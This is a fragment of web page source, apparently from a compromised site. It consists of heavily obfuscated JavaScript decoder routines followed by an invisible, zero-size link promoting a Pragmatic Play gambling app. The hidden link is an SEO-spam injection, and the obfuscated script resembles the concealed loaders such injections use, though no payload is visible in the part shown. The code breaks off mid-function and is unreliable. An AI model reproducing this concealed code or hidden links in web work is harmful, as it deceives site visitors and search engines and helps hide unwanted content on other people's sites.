ORfu5j=rlfF9TI.indexOf(IMJjms[WdMJPz8]);if(ORfu5j===-Ji8kSQ[0x1])continue;if(Wlvnnv<Ji8kSQ[0x0]){Wlvnnv=ORfu5j}else{h5HZ2X(Wlvnnv+=ORfu5j*Ji8kSQ[0xc],mMpJYT1|=Wlvnnv<<ubBYr0,ubBYr0+=(Wlvnnv&Ji8kSQ[0xd])>Ji8kSQ[0xe]?Ji8kSQ[0xf]:Ji8kSQ[0x10]);do{h5HZ2X(WDb_wlm.push(mMpJYT1&Ji8kSQ[0x3]),mMpJYT1>>=Ji8kSQ[0x2],ubBYr0-=Ji8kSQ[0x2])}while(ubBYr0>Ji8kSQ[0x9]);Wlvnnv=-Ji8kSQ[0x1]}}if(Wlvnnv>-Ji8kSQ[0x1]){WDb_wlm.push((mMpJYT1|Wlvnnv<<ubBYr0)&Ji8kSQ[0x3])}return Ewquct(WDb_wlm)}function ubBYr0(YxGpSl){if(typeof HHKxauF[YxGpSl]===Ji8kSQ[0x5]){return HHKxauF[YxGpSl]=mMpJYT1(RW_yfgl[YxGpSl])}return HHKxauF[YxGpSl]}rlfF9TI=String.fromCharCode;function Wlvnnv(YxGpSl){var rlfF9TI=[],IMJjms,f9cKAlm,WDb_wlm,mMpJYT1;h5HZ2X(IMJjms=Ji8kSQ[0x0],f9cKAlm=YxGpSl.length,WDb_wlm=void 0x0,mMpJYT1=void 0x0);while(IMJjms<f9cKAlm){h5HZ2X(WDb_wlm=YxGpSl.charCodeAt(IMJjms++),WDb_wlm>=Ji8kSQ[0x15]&&WDb_wlm<=0xdbff&&IMJjms<f9cKAlm?(mMpJYT1=YxGpSl.charCodeAt(IMJjms++),(mMpJYT1&0xfc00)==Ji8kSQ[0x16]?rlfF9TI.push(((WDb_wlm&Ji8kSQ[0x12])<<Ji8kSQ[0x14])+(mMpJYT1&Ji8kSQ[0x12])+Ji8kSQ[0x13]):(rlfF9TI.push(WDb_wlm),IMJjms--)):rlfF9TI.push(WDb_wlm))}return rlfF9TI}function WdMJPz8(YxGpSl){var IMJjms=YxGpSl.length,f9cKAlm,WDb_wlm,mMpJYT1;h5HZ2X(f9cKAlm=-Ji8kSQ[0x1],WDb_wlm=void 0x0,mMpJYT1="");while(++f9cKAlm<IMJjms){WDb_wlm=YxGpSl[f9cKAlm];if(WDb_wlm>0xffff){h5HZ2X(WDb_wlm-=Ji8kSQ[0x13],mMpJYT1+=rlfF9TI(WDb_wlm>>>Ji8kSQ[0x14]&Ji8kSQ[0x12]|Ji8kSQ[0x15]),WDb_wlm=Ji8kSQ[0x16]|WDb_wlm&Ji8kSQ[0x12])}mMpJYT1+=rlfF9TI(WDb_wlm)}return mMpJYT1}function ORfu5j(YxGpSl){if(YxGpSl>=Ji8kSQ[0x15]&&YxGpSl<=0xdfff){function rlfF9TI(YxGpSl){var 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<!-- sc5a72ec-b66d1b -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
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